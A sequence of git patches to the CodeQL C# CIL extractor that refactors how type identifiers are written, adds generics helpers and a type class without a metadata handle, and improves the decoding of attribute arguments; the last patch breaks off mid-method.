- private readonly Handle handle; + private readonly TypeDefinitionHandle handle; private readonly TypeDefinition td; + private readonly Lazy> typeParams; + private readonly Type? declType; public TypeDefinitionType(Context cx, TypeDefinitionHandle handle) : base(cx) { @@ -41,7 +43,7 @@ namespace Semmle.Extraction.CIL.Entities { if (IsPrimitiveType) { - PrimitiveTypeId(trapFile); + WritePrimitiveTypeId(trapFile, Name); return; } @@ -56,7 +58,7 @@ namespace Semmle.Extraction.CIL.Entities { WriteAssemblyPrefix(trapFile); - var ns = Namespace; + var ns = ContainingNamespace; if (!ns.IsGlobalNamespace) { ns.WriteId(trapFile); @@ -77,13 +79,11 @@ namespace Semmle.Extraction.CIL.Entities } } - public override Namespace Namespace => Cx.Create(td.NamespaceDefinition); - - private readonly Type? declType; + public override Namespace ContainingNamespace => Cx.Create(td.NamespaceDefinition); public override Type? ContainingType => declType; - public override int ThisTypeParameters + public override int ThisTypeParameterCount { get { @@ -99,6 +99,9 @@ namespace Semmle.Extraction.CIL.Entities public override Type Construct(IEnumerable typeArguments) { + if (TotalTypeParametersCount != typeArguments.Count()) + throw new InternalError("Mismatched type arguments"); + return Cx.Populate(new ConstructedType(Cx, this, typeArguments)); } @@ -108,17 +111,17 @@ namespace Semmle.Extraction.CIL.Entities if (ct is null) Cx.WriteAssemblyPrefix(trapFile); else if (IsPrimitiveType) - trapFile.Write("builtin:"); + trapFile.Write(Type.PrimitiveTypePrefix); else ct.WriteAssemblyPrefix(trapFile); } private IEnumerable MakeTypeParameters() { - if (ThisTypeParameters == 0) + if (ThisTypeParameterCount == 0) return Enumerable.Empty(); - var newTypeParams = new TypeTypeParameter[ThisTypeParameters]; + var newTypeParams = new TypeTypeParameter[ThisTypeParameterCount]; var genericParams = td.GetGenericParameters(); var toSkip = genericParams.Count - newTypeParams.Length; @@ -130,10 +133,6 @@ namespace Semmle.Extraction.CIL.Entities return newTypeParams; } - private readonly Lazy> typeParams; - - public override IEnumerable MethodParameters => Enumerable.Empty(); - public override IEnumerable TypeParameters { get diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeParameter.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeParameter.cs index 91a1c6f925b..7c8d2222fa5 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeParameter.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeParameter.cs @@ -16,11 +16,11 @@ namespace Semmle.Extraction.CIL.Entities this.gc = gc; } - public override Namespace? Namespace => null; + public override Namespace? ContainingNamespace => null; public override Type? ContainingType => null; - public override int ThisTypeParameters => 0; + public override int ThisTypeParameterCount => 0; public override CilTypeKind Kind => CilTypeKind.TypeParameter; diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeReferenceType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeReferenceType.cs index ba789e87204..d9878aadd3c 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeReferenceType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeReferenceType.cs @@ -36,7 +36,7 @@ namespace Semmle.Extraction.CIL.Entities private TypeTypeParameter[] MakeTypeParameters() { - var newTypeParams = new TypeTypeParameter[ThisTypeParameters]; + var newTypeParams = new TypeTypeParameter[ThisTypeParameterCount]; for (var i = 0; i < newTypeParams.Length; ++i) { newTypeParams[i] = new TypeTypeParameter(this, this, i); @@ -66,9 +66,9 @@ namespace Semmle.Extraction.CIL.Entities } } - public override Namespace Namespace => Cx.CreateNamespace(tr.Namespace); + public override Namespace ContainingNamespace => Cx.CreateNamespace(tr.Namespace); - public override int ThisTypeParameters + public override int ThisTypeParameterCount { get { @@ -92,9 +92,9 @@ namespace Semmle.Extraction.CIL.Entities { get { - if (tr.ResolutionScope.Kind == HandleKind.TypeReference) - return (Type)Cx.Create((TypeReferenceHandle)tr.ResolutionScope); - return null; + return tr.ResolutionScope.Kind == HandleKind.TypeReference + ? (Type)Cx.Create((TypeReferenceHandle)tr.ResolutionScope) + : null; } } @@ -122,13 +122,11 @@ namespace Semmle.Extraction.CIL.Entities public override IEnumerable TypeParameters => typeParams.Value; - public override IEnumerable MethodParameters => throw new InternalError("This type does not have method parameters"); - public override void WriteId(TextWriter trapFile, bool inContext) { if (IsPrimitiveType) { - PrimitiveTypeId(trapFile); + WritePrimitiveTypeId(trapFile, Name); return; } @@ -144,9 +142,9 @@ namespace Semmle.Extraction.CIL.Entities WriteAssemblyPrefix(trapFile); } - if (!Namespace.IsGlobalNamespace) + if (!ContainingNamespace.IsGlobalNamespace) { - Namespace.WriteId(trapFile); + ContainingNamespace.WriteId(trapFile); } } @@ -156,7 +154,7 @@ namespace Semmle.Extraction.CIL.Entities public override Type Construct(IEnumerable typeArguments) { - if (TotalTypeParametersCheck != typeArguments.Count()) + if (TotalTypeParametersCount != typeArguments.Count()) throw new InternalError("Mismatched type arguments"); return Cx.Populate(new ConstructedType(Cx, this, typeArguments)); diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeTypeParameter.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeTypeParameter.cs index 790b8da2469..8addf443ae3 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeTypeParameter.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeTypeParameter.cs @@ -37,8 +37,6 @@ namespace Semmle.Extraction.CIL.Entities public override IEnumerable TypeParameters => Enumerable.Empty(); - public override IEnumerable MethodParameters => Enumerable.Empty(); - public override IEnumerable Contents { get From 332a64a6caf9ba2f3e4f105ba7adbd99822ecde1 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Thu, 3 Dec 2020 23:09:11 +0100 Subject: [PATCH 0218/1241] Fix erroneous refactorings --- csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs | 4 ++-- .../Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs | 3 ++- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs index 0e32959c29d..092db35c33a 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs @@ -2,7 +2,7 @@ using System.Collections.Generic; using System.IO; using System.Diagnostics.CodeAnalysis; -using System; +using System.Linq; namespace Semmle.Extraction.CIL.Entities { @@ -195,7 +195,7 @@ namespace Semmle.Extraction.CIL.Entities protected bool IsPrimitiveType => TryGetPrimitiveTypeCode(out _); - public sealed override IEnumerable MethodParameters => throw new NotImplementedException(); + public sealed override IEnumerable MethodParameters => Enumerable.Empty(); public static Type DecodeType(GenericContext gc, TypeSpecificationHandle handle) => gc.Cx.MdReader.GetTypeSpecification(handle).DecodeSignature(gc.Cx.TypeSignatureDecoder, gc); diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs index 12df28f09c6..b3b6ab8e1bc 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs @@ -6,6 +6,7 @@ using System.Linq; using System.Collections.Generic; using System.Reflection; using System.IO; +using System.Reflection.Metadata.Ecma335; namespace Semmle.Extraction.CIL.Entities { @@ -152,7 +153,7 @@ namespace Semmle.Extraction.CIL.Entities { get { - yield return Tuples.metadata_handle(this, Cx.Assembly, handle.GetHashCode()); + yield return Tuples.metadata_handle(this, Cx.Assembly, MetadataTokens.GetToken(handle)); foreach (var c in base.Contents) yield return c; From fc5f6c5203415839470a003924a21ee2fcabb1b6 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Thu, 3 Dec 2020 14:56:41 +0100 Subject: [PATCH 0219/1241] C#: Fix ID of TypeReferenceType for top level classes --- .../Semmle.Extraction.CIL/Entities/TypeReferenceType.cs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeReferenceType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeReferenceType.cs index d9878aadd3c..ca46744afbf 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeReferenceType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeReferenceType.cs @@ -134,6 +134,7 @@ namespace Semmle.Extraction.CIL.Entities if (ct != null) { ct.GetId(trapFile, inContext); + trapFile.Write('.'); } else { @@ -145,10 +146,10 @@ namespace Semmle.Extraction.CIL.Entities if (!ContainingNamespace.IsGlobalNamespace) { ContainingNamespace.WriteId(trapFile); + trapFile.Write('.'); } } - trapFile.Write('.'); trapFile.Write(Cx.GetString(tr.Name)); } From d270aa2281892239d84fbc743a8ef825faf37224 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Thu, 3 Dec 2020 15:20:57 +0100 Subject: [PATCH 0220/1241] C#: Extract ID writing logic to separate class --- .../Entities/ConstructedType.cs | 75 +++++++------------ .../Entities/NamedTypeIdWriter.cs | 63 ++++++++++++++++ .../Semmle.Extraction.CIL/Entities/Type.cs | 2 +- .../Entities/TypeDefinitionType.cs | 29 +------ .../Entities/TypeReferenceType.cs | 30 +------- 5 files changed, 95 insertions(+), 104 deletions(-) create mode 100644 csharp/extractor/Semmle.Extraction.CIL/Entities/NamedTypeIdWriter.cs diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/ConstructedType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/ConstructedType.cs index 6be1b9f4aca..4c9c7683ac6 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/ConstructedType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/ConstructedType.cs @@ -18,31 +18,11 @@ namespace Semmle.Extraction.CIL.Entities private readonly Type[]? thisTypeArguments; private readonly Type? containingType; - - public override IEnumerable ThisTypeArguments => thisTypeArguments.EnumerateNull(); - - public override IEnumerable ThisGenericArguments => thisTypeArguments.EnumerateNull(); - - public override IEnumerable Contents - { - get - { - foreach (var c in base.Contents) - yield return c; - - var i = 0; - foreach (var type in ThisTypeArguments) - { - yield return type; - yield return Tuples.cil_type_argument(this, i++, type); - } - } - } - - public override Type SourceDeclaration => unboundGenericType; + private readonly NamedTypeIdWriter idWriter; public ConstructedType(Context cx, Type unboundType, IEnumerable typeArguments) : base(cx) { + idWriter = new NamedTypeIdWriter(this); var suppliedArgs = typeArguments.Count(); if (suppliedArgs != unboundType.TotalTypeParametersCount) throw new InternalError("Unexpected number of type arguments in ConstructedType"); @@ -90,6 +70,28 @@ namespace Semmle.Extraction.CIL.Entities return h; } + public override IEnumerable ThisTypeArguments => thisTypeArguments.EnumerateNull(); + + public override IEnumerable ThisGenericArguments => thisTypeArguments.EnumerateNull(); + + public override IEnumerable Contents + { + get + { + foreach (var c in base.Contents) + yield return c; + + var i = 0; + foreach (var type in ThisTypeArguments) + { + yield return type; + yield return Tuples.cil_type_argument(this, i++, type); + } + } + } + + public override Type SourceDeclaration => unboundGenericType; + public override Type? ContainingType => containingType; public override string Name => unboundGenericType.Name; @@ -107,34 +109,7 @@ namespace Semmle.Extraction.CIL.Entities public override void WriteId(TextWriter trapFile, bool inContext) { - if (ContainingType != null) - { - ContainingType.GetId(trapFile, inContext); - trapFile.Write('.'); - } - else - { - WriteAssemblyPrefix(trapFile); - - if (!ContainingNamespace.IsGlobalNamespace) - { - ContainingNamespace.WriteId(trapFile); - trapFile.Write('.'); - } - } - trapFile.Write(unboundGenericType.Name); - - if (thisTypeArguments != null && thisTypeArguments.Any()) - { - trapFile.Write('<'); - var index = 0; - foreach (var t in thisTypeArguments) - { - trapFile.WriteSeparator(",", ref index); - t.WriteId(trapFile); - } - trapFile.Write('>'); - } + idWriter.WriteId(trapFile, inContext); } public override void WriteAssemblyPrefix(TextWriter trapFile) => unboundGenericType.WriteAssemblyPrefix(trapFile); diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/NamedTypeIdWriter.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/NamedTypeIdWriter.cs new file mode 100644 index 00000000000..a2c27893e3e --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/NamedTypeIdWriter.cs @@ -0,0 +1,63 @@ +using Microsoft.CodeAnalysis; +using System.Linq; +using System.IO; + +namespace Semmle.Extraction.CIL.Entities +{ + internal class NamedTypeIdWriter + { + private readonly Type type; + + public NamedTypeIdWriter(Type type) + { + this.type = type; + } + + public void WriteId(TextWriter trapFile, bool inContext) + { + if (type.IsPrimitiveType) + { + Type.WritePrimitiveTypeId(trapFile, type.Name); + return; + } + + var ct = type.ContainingType; + if (ct != null) + { + ct.GetId(trapFile, inContext); + trapFile.Write('.'); + } + else + { + type.WriteAssemblyPrefix(trapFile); + + var ns = type.ContainingNamespace!; + if (!ns.IsGlobalNamespace) + { + ns.WriteId(trapFile); + trapFile.Write('.'); + } + } + + trapFile.Write(type.Name); + + var thisTypeArguments = type.ThisTypeArguments; + if (thisTypeArguments != null && thisTypeArguments.Any()) + { + trapFile.Write('<'); + var index = 0; + foreach (var t in thisTypeArguments) + { + trapFile.WriteSeparator(",", ref index); + t.WriteId(trapFile); + } + trapFile.Write('>'); + } + else if (type.ThisTypeParameterCount > 0) + { + trapFile.Write('`'); + trapFile.Write(type.ThisTypeParameterCount); + } + } + } +} diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs index 092db35c33a..5b62385cb17 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs @@ -193,7 +193,7 @@ namespace Semmle.Extraction.CIL.Entities return false; } - protected bool IsPrimitiveType => TryGetPrimitiveTypeCode(out _); + protected internal bool IsPrimitiveType => TryGetPrimitiveTypeCode(out _); public sealed override IEnumerable MethodParameters => Enumerable.Empty(); diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs index b3b6ab8e1bc..affd2c1d1f8 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs @@ -19,9 +19,11 @@ namespace Semmle.Extraction.CIL.Entities private readonly TypeDefinition td; private readonly Lazy> typeParams; private readonly Type? declType; + private readonly NamedTypeIdWriter idWriter; public TypeDefinitionType(Context cx, TypeDefinitionHandle handle) : base(cx) { + idWriter = new NamedTypeIdWriter(this); td = cx.MdReader.GetTypeDefinition(handle); this.handle = handle; @@ -42,32 +44,7 @@ namespace Semmle.Extraction.CIL.Entities public override void WriteId(TextWriter trapFile, bool inContext) { - if (IsPrimitiveType) - { - WritePrimitiveTypeId(trapFile, Name); - return; - } - - var name = Cx.GetString(td.Name); - - if (ContainingType != null) - { - ContainingType.GetId(trapFile, inContext); - trapFile.Write('.'); - } - else - { - WriteAssemblyPrefix(trapFile); - - var ns = ContainingNamespace; - if (!ns.IsGlobalNamespace) - { - ns.WriteId(trapFile); - trapFile.Write('.'); - } - } - - trapFile.Write(name); + idWriter.WriteId(trapFile, inContext); } public override string Name diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeReferenceType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeReferenceType.cs index ca46744afbf..e7c3be45d33 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeReferenceType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeReferenceType.cs @@ -16,9 +16,11 @@ namespace Semmle.Extraction.CIL.Entities private readonly TypeReferenceHandle handle; private readonly TypeReference tr; private readonly Lazy typeParams; + private readonly NamedTypeIdWriter idWriter; public TypeReferenceType(Context cx, TypeReferenceHandle handle) : base(cx) { + this.idWriter = new NamedTypeIdWriter(this); this.typeParams = new Lazy(MakeTypeParameters); this.handle = handle; this.tr = cx.MdReader.GetTypeReference(handle); @@ -124,33 +126,7 @@ namespace Semmle.Extraction.CIL.Entities public override void WriteId(TextWriter trapFile, bool inContext) { - if (IsPrimitiveType) - { - WritePrimitiveTypeId(trapFile, Name); - return; - } - - var ct = ContainingType; - if (ct != null) - { - ct.GetId(trapFile, inContext); - trapFile.Write('.'); - } - else - { - if (tr.ResolutionScope.Kind == HandleKind.AssemblyReference) - { - WriteAssemblyPrefix(trapFile); - } - - if (!ContainingNamespace.IsGlobalNamespace) - { - ContainingNamespace.WriteId(trapFile); - trapFile.Write('.'); - } - } - - trapFile.Write(Cx.GetString(tr.Name)); + idWriter.WriteId(trapFile, inContext); } public override Type Construct(IEnumerable typeArguments) From 0c0ef772c1b1ea484b4398421b795eb11ba25028 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Thu, 3 Dec 2020 15:39:50 +0100 Subject: [PATCH 0221/1241] Add method to get qualified name of CIL extraction types --- .../extractor/Semmle.Extraction.CIL/Context.cs | 3 +-- .../Semmle.Extraction.CIL/Entities/Type.cs | 18 +++++++++++++++++- .../Entities/TypeReferenceType.cs | 2 +- 3 files changed, 19 insertions(+), 4 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CIL/Context.cs b/csharp/extractor/Semmle.Extraction.CIL/Context.cs index 26a9298aa07..ae662f2e87c 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Context.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Context.cs @@ -1,6 +1,5 @@ using System; using System.IO; -using System.Linq; using System.Reflection.Metadata; using System.Reflection.PortableExecutable; @@ -83,7 +82,7 @@ namespace Semmle.Extraction.CIL trapFile.Write(GetString(def.Name)); trapFile.Write('_'); trapFile.Write(def.Version.ToString()); - trapFile.Write("::"); + trapFile.Write(Entities.Type.AssemblyTypeNameSeparator); } public Entities.TypeSignatureDecoder TypeSignatureDecoder { get; } diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs index 5b62385cb17..adcc6ea9a36 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs @@ -12,7 +12,8 @@ namespace Semmle.Extraction.CIL.Entities public abstract class Type : TypeContainer, IMember { public override string IdSuffix => ";cil-type"; - internal const string PrimitiveTypePrefix = "builtin:"; + internal const string AssemblyTypeNameSeparator = "::"; + internal const string PrimitiveTypePrefix = "builtin" + AssemblyTypeNameSeparator + "System."; protected Type(Context cx) : base(cx) { } @@ -72,6 +73,21 @@ namespace Semmle.Extraction.CIL.Entities public void GetId(TextWriter trapFile, bool inContext) => WriteId(trapFile, inContext); + /// + /// Returns the friendly qualified name of types, such as + /// ``"System.Collection.Generic.List`1"`` or + /// ``"System.Collection.Generic.List"``. + /// + /// Note that method/type generic type parameters never show up in the returned name. + /// + public string GetQualifiedName() + { + using var writer = new StringWriter(); + GetId(writer, false); + var name = writer.ToString(); + return name.Substring(name.IndexOf(AssemblyTypeNameSeparator) + 2); + } + public abstract CilTypeKind Kind { get; } public override IEnumerable Contents diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeReferenceType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeReferenceType.cs index e7c3be45d33..c808413ce5f 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeReferenceType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeReferenceType.cs @@ -114,7 +114,7 @@ namespace Semmle.Extraction.CIL.Entities trapFile.Write(Cx.GetString(assemblyDef.Name)); trapFile.Write('_'); trapFile.Write(assemblyDef.Version.ToString()); - trapFile.Write("::"); + trapFile.Write(Entities.Type.AssemblyTypeNameSeparator); break; default: Cx.WriteAssemblyPrefix(trapFile); From 56eb04fe6d470a3f5c263f1dd1767260076a8dfc Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Thu, 3 Dec 2020 17:10:17 +0100 Subject: [PATCH 0222/1241] C#: Improve attribute argument (type, enum) decoding in CIL extraction --- .../Entities/Attribute.cs | 16 +- .../Entities/CustomAttributeDecoder.cs | 19 +- .../Entities/GenericsHelper.cs | 45 +++++ .../Entities/NoMetadataHandleType.cs | 185 ++++++++++++++++++ .../Entities/TypeDefinitionType.cs | 10 +- .../Entities/TypeReferenceType.cs | 33 +--- 6 files changed, 259 insertions(+), 49 deletions(-) create mode 100644 csharp/extractor/Semmle.Extraction.CIL/Entities/GenericsHelper.cs create mode 100644 csharp/extractor/Semmle.Extraction.CIL/Entities/NoMetadataHandleType.cs diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs index 7e3b21be09d..7d6c5ecc49c 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs @@ -51,25 +51,29 @@ namespace Semmle.Extraction.CIL.Entities for (var index = 0; index < decoded.FixedArguments.Length; ++index) { - var value = decoded.FixedArguments[index].Value; - var stringValue = GetStringValue(value); + var stringValue = GetStringValue(decoded.FixedArguments[index].Type, decoded.FixedArguments[index].Value); yield return Tuples.cil_attribute_positional_argument(this, index, stringValue); } foreach (var p in decoded.NamedArguments) { - var value = p.Value; - var stringValue = GetStringValue(value); + var stringValue = GetStringValue(p.Type, p.Value); yield return Tuples.cil_attribute_named_argument(this, p.Name, stringValue); } } } - private static string GetStringValue(object? value) + private static string GetStringValue(Type type, object? value) { if (value is System.Collections.Immutable.ImmutableArray> values) { - return "[" + string.Join(",", values.Select(v => GetStringValue(v.Value))) + "]"; + return "[" + string.Join(",", values.Select(v => GetStringValue(v.Type, v.Value))) + "]"; + } + + if (type.GetQualifiedName() == "System.Type" && + value is Type t) + { + return t.GetQualifiedName(); } return value?.ToString() ?? "null"; diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/CustomAttributeDecoder.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/CustomAttributeDecoder.cs index 25ea18e3229..4dc9f8b0017 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/CustomAttributeDecoder.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/CustomAttributeDecoder.cs @@ -14,7 +14,7 @@ namespace Semmle.Extraction.CIL.Entities public Type GetPrimitiveType(PrimitiveTypeCode typeCode) => cx.Create(typeCode); - public Type GetSystemType() => throw new NotImplementedException(); + public Type GetSystemType() => new NoMetadataHandleType(cx, "System.Type"); public Type GetSZArrayType(Type elementType) => cx.Populate(new ArrayType(cx, elementType)); @@ -25,10 +25,21 @@ namespace Semmle.Extraction.CIL.Entities public Type GetTypeFromReference(MetadataReader reader, TypeReferenceHandle handle, byte rawTypeKind) => (Type)cx.Create(handle); - public Type GetTypeFromSerializedName(string name) => throw new NotImplementedException(); + public Type GetTypeFromSerializedName(string name) => new NoMetadataHandleType(cx, name); - public PrimitiveTypeCode GetUnderlyingEnumType(Type type) => throw new NotImplementedException(); + public PrimitiveTypeCode GetUnderlyingEnumType(Type type) + { + if (type is TypeDefinitionType tdt && + tdt.GetUnderlyingEnumType() is var underlying && + underlying.HasValue) + { + return underlying.Value; + } - public bool IsSystemType(Type type) => type is PrimitiveType; // ?? + // We can't fall back to Int32, because the type returned here defines how many bytes are read from the + // stream and how those bytes are interpreted. + throw new NotImplementedException(); + } + public bool IsSystemType(Type type) => type.GetQualifiedName() == "System.Type"; } } diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/GenericsHelper.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/GenericsHelper.cs new file mode 100644 index 00000000000..8a6eb5dcb8c --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/GenericsHelper.cs @@ -0,0 +1,45 @@ +using System.Reflection.Metadata; + +namespace Semmle.Extraction.CIL.Entities +{ + internal class GenericsHelper + { + public static TypeTypeParameter[] MakeTypeParameters(Type container, int count) + { + var newTypeParams = new TypeTypeParameter[count]; + for (var i = 0; i < newTypeParams.Length; ++i) + { + newTypeParams[i] = new TypeTypeParameter(container, container, i); + } + return newTypeParams; + } + + public static string GetNonGenericName(StringHandle name, MetadataReader reader) + { + var n = reader.GetString(name); + return GetNonGenericName(n); + } + + public static string GetNonGenericName(string name) + { + var tick = name.IndexOf('`'); + return tick == -1 + ? name + : name.Substring(0, tick); + } + + public static int GetGenericTypeParameterCount(StringHandle name, MetadataReader reader) + { + var n = reader.GetString(name); + return GetGenericTypeParameterCount(n); + } + + public static int GetGenericTypeParameterCount(string name) + { + var tick = name.IndexOf('`'); + return tick == -1 + ? 0 + : int.Parse(name.Substring(tick + 1)); + } + } +} diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/NoMetadataHandleType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/NoMetadataHandleType.cs new file mode 100644 index 00000000000..34a1afdec50 --- /dev/null +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/NoMetadataHandleType.cs @@ -0,0 +1,185 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Reflection; +using Semmle.Util; + +namespace Semmle.Extraction.CIL.Entities +{ + internal sealed class NoMetadataHandleType : Type + { + private readonly string originalName; + private readonly string name; + private readonly string? assemblyName; + private readonly string containerName; + private readonly bool isContainerNamespace; + + private readonly Lazy typeParams; + + // Either null or notEmpty + private readonly Type[]? thisTypeArguments; + private readonly Type unboundGenericType; + + private readonly NamedTypeIdWriter idWriter; + + public NoMetadataHandleType(Context cx, string originalName) : base(cx) + { + this.originalName = originalName; + this.name = originalName; + this.idWriter = new NamedTypeIdWriter(this); + + // N1.N2.T1`3+T2`1[T3,[T4, Assembly1, Version=...],T5,T6], Assembly2, Version=... + // for example: + // typeof(System.Collections.Generic.List.Enumerator) + // -> System.Collections.Generic.List`1+Enumerator[[System.Int32, System.Private.CoreLib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e]], System.Private.CoreLib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e + // typeof(System.Collections.Generic.List<>.Enumerator) + // -> System.Collections.Generic.List`1+Enumerator, System.Private.CoreLib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e + + var lastBracketIndex = name.LastIndexOf(']'); + var assemblyCommaIndex = name.IndexOf(',', lastBracketIndex < 0 ? 0 : lastBracketIndex); + if (assemblyCommaIndex >= 0) + { + assemblyName = name.Substring(assemblyCommaIndex + 2); + name = name.Substring(0, assemblyCommaIndex); + } + + var firstBracketIndex = name.IndexOf('['); + if (firstBracketIndex >= 0) + { + // TODO: + // * create types for arguments. + // * this type is a constructed generic -> create non constructed one too. + // * adjust containing type name, which can also be a constructed generic + + // thisTypeArguments = + // unboundGenericType = + // containerName = + + throw new NotImplementedException(); + // name = name.Substring(0, firstBracketIndex); + } + else + { + thisTypeArguments = null; + unboundGenericType = this; + } + + var lastPlusIndex = name.LastIndexOf('+'); + if (lastPlusIndex >= 0) + { + containerName = name.Substring(0, lastPlusIndex); + name = name.Substring(lastPlusIndex + 1); + isContainerNamespace = false; + } + else + { + var lastDotIndex = name.LastIndexOf('.'); + if (lastDotIndex >= 0) + { + containerName = name.Substring(0, lastDotIndex); + name = name.Substring(lastDotIndex + 1); + } + else + { + containerName = cx.GlobalNamespace.Name; + } + isContainerNamespace = true; + } + + this.typeParams = new Lazy(GenericsHelper.MakeTypeParameters(this, ThisTypeParameterCount)); + + if (isContainerNamespace && + !ContainingNamespace!.IsGlobalNamespace) + { + cx.Populate(ContainingNamespace); + } + + cx.Populate(this); + } + + public override bool Equals(object? obj) + { + return obj is NoMetadataHandleType t && originalName.Equals(t.originalName, StringComparison.Ordinal); + } + + public override int GetHashCode() + { + return originalName.GetHashCode(StringComparison.Ordinal); + } + + public override IEnumerable Contents + { + get + { + foreach (var tp in typeParams.Value) + yield return tp; + + foreach (var c in base.Contents) + yield return c; + + var i = 0; + foreach (var type in ThisTypeArguments) + { + yield return type; + yield return Tuples.cil_type_argument(this, i++, type); + } + } + } + + public override CilTypeKind Kind => CilTypeKind.ValueOrRefType; + + public override string Name => GenericsHelper.GetNonGenericName(name); + + public override Namespace? ContainingNamespace => isContainerNamespace + ? containerName == Cx.GlobalNamespace.Name + ? Cx.GlobalNamespace + : new Namespace(Cx, containerName) + : null; + + public override Type? ContainingType => isContainerNamespace + ? null + : new NoMetadataHandleType( + Cx, + string.IsNullOrWhiteSpace(assemblyName) + ? containerName + : containerName + ", " + assemblyName); + + public override int ThisTypeParameterCount => GenericsHelper.GetGenericTypeParameterCount(name); + + public override IEnumerable TypeParameters => typeParams.Value; + + public override IEnumerable ThisTypeArguments => thisTypeArguments.EnumerateNull(); + + public override Type SourceDeclaration => unboundGenericType; + + public override Type Construct(IEnumerable typeArguments) + { + if (TotalTypeParametersCount != typeArguments.Count()) + throw new InternalError("Mismatched type arguments"); + + return Cx.Populate(new ConstructedType(Cx, this, typeArguments)); + } + + public override void WriteAssemblyPrefix(TextWriter trapFile) + { + if (!string.IsNullOrWhiteSpace(assemblyName)) + { + var an = new AssemblyName(assemblyName); + trapFile.Write(an.Name); + trapFile.Write('_'); + trapFile.Write((an.Version ?? new Version(0, 0, 0, 0)).ToString()); + trapFile.Write(Type.AssemblyTypeNameSeparator); + } + else + { + Cx.WriteAssemblyPrefix(trapFile); + } + } + + public override void WriteId(TextWriter 